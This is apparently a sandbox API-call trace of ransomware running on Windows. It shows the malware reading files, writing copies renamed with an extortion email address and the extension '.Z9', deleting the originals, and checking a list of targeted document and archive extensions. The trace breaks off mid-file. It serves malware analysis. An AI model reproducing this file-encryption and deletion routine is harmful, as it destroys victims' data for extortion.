	[0071.859] lstrlenW (lpString="eula.rtf") returned 8
	[0071.859] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0071.880] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4015) returned 1
	[0071.880] CloseHandle (hObject=0x320) returned 1
	[0071.880] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80
	[0071.880] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.880] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0071.880] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.880] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.880] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.881] GetLastError () returned 0x0
	[0071.881] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xfaf, lpOverlapped=0x0) returned 1
	[0071.918] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfb0, lpOverlapped=0x0) returned 1
	[0071.920] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.920] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0071.920] SetEndOfFile (hFile=0x338) returned 1
	[0071.920] CloseHandle (hObject=0x338) returned 1
	[0071.921] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.921] SetEndOfFile (hFile=0x320) returned 1
	[0071.923] CloseHandle (hObject=0x320) returned 1
	[0071.923] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.923] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1
	[0071.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.923] lstrlenW (lpString=".doc") returned 4
	[0071.923] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.923] lstrlenW (lpString=".docx") returned 5
	[0071.923] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.923] lstrlenW (lpString=".pdf") returned 4
	[0071.923] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.923] lstrlenW (lpString=".xls") returned 4
	[0071.923] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.924] lstrlenW (lpString=".xlsx") returned 5
	[0071.924] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.924] lstrlenW (lpString=".ppt") returned 4
	[0071.924] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.924] lstrlenW (lpString=".zip") returned 4
	[0071.924] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.924] lstrlenW (lpString=".rar") returned 4
	[0071.924] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.924] lstrlenW (lpString=".bz2") returned 4
	[0071.924] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.924] lstrlenW (lpString=".7z") returned 3
	[0071.924] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.924] lstrlenW (lpString=".dbf") returned 4
	[0071.924] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.924] lstrlenW (lpString=".1cd") returned 4
	[0071.924] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.925] lstrlenW (lpString=".jpg") returned 4
	[0071.925] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.925] lstrlenW (lpString=".doc") returned 4
	[0071.925] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.925] lstrlenW (lpString=".docx") returned 5
	[0071.925] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.925] lstrlenW (lpString=".pdf") returned 4
	[0071.925] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.925] lstrlenW (lpString=".xls") returned 4
	[0071.925] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.925] lstrlenW (lpString=".xlsx") returned 5
	[0071.925] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.925] lstrlenW (lpString=".ppt") returned 4
	[0071.925] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.925] lstrlenW (lpString=".zip") returned 4
	[0071.925] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.925] lstrlenW (lpString=".rar") returned 4
	[0071.925] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.925] lstrlenW (lpString=".bz2") returned 4
	[0071.925] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.925] lstrlenW (lpString=".7z") returned 3
	[0071.925] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.925] lstrlenW (lpString=".dbf") returned 4
	[0071.925] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.925] lstrlenW (lpString=".1cd") returned 4
	[0071.925] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0071.926] lstrlenW (lpString=".jpg") returned 4
	[0071.926] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.926] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0071.926] lstrlenW (lpString="eula.rtf") returned 8
	[0071.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0071.928] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6309) returned 1
	[0071.928] CloseHandle (hObject=0x320) returned 1
	[0071.928] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80
	[0071.928] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.928] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0071.928] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.928] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.928] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.929] GetLastError () returned 0x0
	[0071.929] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x18a5, lpOverlapped=0x0) returned 1
	[0071.931] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x18b0, lpOverlapped=0x0) returned 1
	[0071.932] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.932] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0071.932] SetEndOfFile (hFile=0x338) returned 1
	[0071.933] CloseHandle (hObject=0x338) returned 1
	[0072.516] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.516] SetEndOfFile (hFile=0x320) returned 1
	[0072.517] CloseHandle (hObject=0x320) returned 1
	[0072.517] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.518] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1
	[0072.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.518] lstrlenW (lpString=".doc") returned 4
	[0072.518] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0072.518] lstrlenW (lpString=".docx") returned 5
	[0072.518] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0072.518] lstrlenW (lpString=".pdf") returned 4
	[0072.518] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0072.518] lstrlenW (lpString=".xls") returned 4
	[0072.518] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0072.518] lstrlenW (lpString=".xlsx") returned 5
	[0072.518] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0072.518] lstrlenW (lpString=".ppt") returned 4
	[0072.518] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0072.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.518] lstrlenW (lpString=".zip") returned 4
	[0072.518] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0072.518] lstrlenW (lpString=".rar") returned 4
	[0072.518] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0072.518] lstrlenW (lpString=".bz2") returned 4
	[0072.518] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0072.518] lstrlenW (lpString=".7z") returned 3
	[0072.518] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0072.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.518] lstrlenW (lpString=".dbf") returned 4
	[0072.518] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0072.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.519] lstrlenW (lpString=".1cd") returned 4
	[0072.519] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0072.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.519] lstrlenW (lpString=".jpg") returned 4
	[0072.519] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0072.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.519] lstrlenW (lpString=".doc") returned 4
	[0072.519] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0072.519] lstrlenW (lpString=".docx") returned 5
	[0072.519] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0072.519] lstrlenW (lpString=".pdf") returned 4
	[0072.519] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0072.519] lstrlenW (lpString=".xls") returned 4
	[0072.519] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0072.519] lstrlenW (lpString=".xlsx") returned 5
	[0072.519] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0072.519] lstrlenW (lpString=".ppt") returned 4
	[0072.519] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0072.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.519] lstrlenW (lpString=".zip") returned 4
	[0072.519] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0072.519] lstrlenW (lpString=".rar") returned 4
	[0072.519] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0072.519] lstrlenW (lpString=".bz2") returned 4
	[0072.519] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0072.519] lstrlenW (lpString=".7z") returned 3
	[0072.519] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0072.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.519] lstrlenW (lpString=".dbf") returned 4
	[0072.519] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0072.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.519] lstrlenW (lpString=".1cd") returned 4
	[0072.519] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0072.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0072.519] lstrlenW (lpString=".jpg") returned 4
	[0072.520] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0072.520] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.520] lstrlenW (lpString="UiInfo.xml") returned 10
	[0072.520] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.520] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=39050) returned 1
	[0072.520] CloseHandle (hObject=0x320) returned 1
	[0072.520] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80
	[0072.520] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.520] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.520] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.520] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.520] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0072.521] GetLastError () returned 0x0
	[0072.521] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x988a, lpOverlapped=0x0) returned 1
	[0072.523] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x9890, lpOverlapped=0x0) returned 1
	[0072.525] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.525] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0072.525] SetEndOfFile (hFile=0x338) returned 1
	[0072.525] CloseHandle (hObject=0x338) returned 1
	[0072.527] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.527] SetEndOfFile (hFile=0x320) returned 1
	[0072.528] CloseHandle (hObject=0x320) returned 1
	[0072.528] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.528] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1
	[0072.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.529] lstrlenW (lpString=".doc") returned 4
	[0072.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.529] lstrlenW (lpString=".docx") returned 5
	[0072.529] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0072.529] lstrlenW (lpString=".pdf") returned 4
	[0072.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.529] lstrlenW (lpString=".xls") returned 4
	[0072.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.529] lstrlenW (lpString=".xlsx") returned 5
	[0072.529] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0072.529] lstrlenW (lpString=".ppt") returned 4
	[0072.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.529] lstrlenW (lpString=".zip") returned 4
	[0072.529] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.529] lstrlenW (lpString=".rar") returned 4
	[0072.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.529] lstrlenW (lpString=".bz2") returned 4
	[0072.529] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.529] lstrlenW (lpString=".7z") returned 3
	[0072.529] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.529] lstrlenW (lpString=".dbf") returned 4
	[0072.529] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.529] lstrlenW (lpString=".1cd") returned 4
	[0072.529] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.530] lstrlenW (lpString=".jpg") returned 4
	[0072.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.530] lstrlenW (lpString=".doc") returned 4
	[0072.530] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.530] lstrlenW (lpString=".docx") returned 5
	[0072.530] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0072.530] lstrlenW (lpString=".pdf") returned 4
	[0072.530] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.530] lstrlenW (lpString=".xls") returned 4
	[0072.530] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.530] lstrlenW (lpString=".xlsx") returned 5
	[0072.530] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0072.530] lstrlenW (lpString=".ppt") returned 4
	[0072.530] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.530] lstrlenW (lpString=".zip") returned 4
	[0072.530] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.530] lstrlenW (lpString=".rar") returned 4
	[0072.530] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.530] lstrlenW (lpString=".bz2") returned 4
	[0072.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.530] lstrlenW (lpString=".7z") returned 3
	[0072.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.530] lstrlenW (lpString=".dbf") returned 4
	[0072.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.530] lstrlenW (lpString=".1cd") returned 4
	[0072.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0072.530] lstrlenW (lpString=".jpg") returned 4
	[0072.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.531] lstrcmpiW (lpString1=".bmp", lpString2=".Z9") returned -1
	[0072.531] lstrlenW (lpString="header.bmp") returned 10
	[0072.531] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.531] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3628) returned 1
	[0072.532] CloseHandle (hObject=0x320) returned 1
	[0072.532] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80
	[0072.532] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.532] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.532] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.532] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.532] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0072.532] GetLastError () returned 0x0
	[0072.532] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xe2c, lpOverlapped=0x0) returned 1
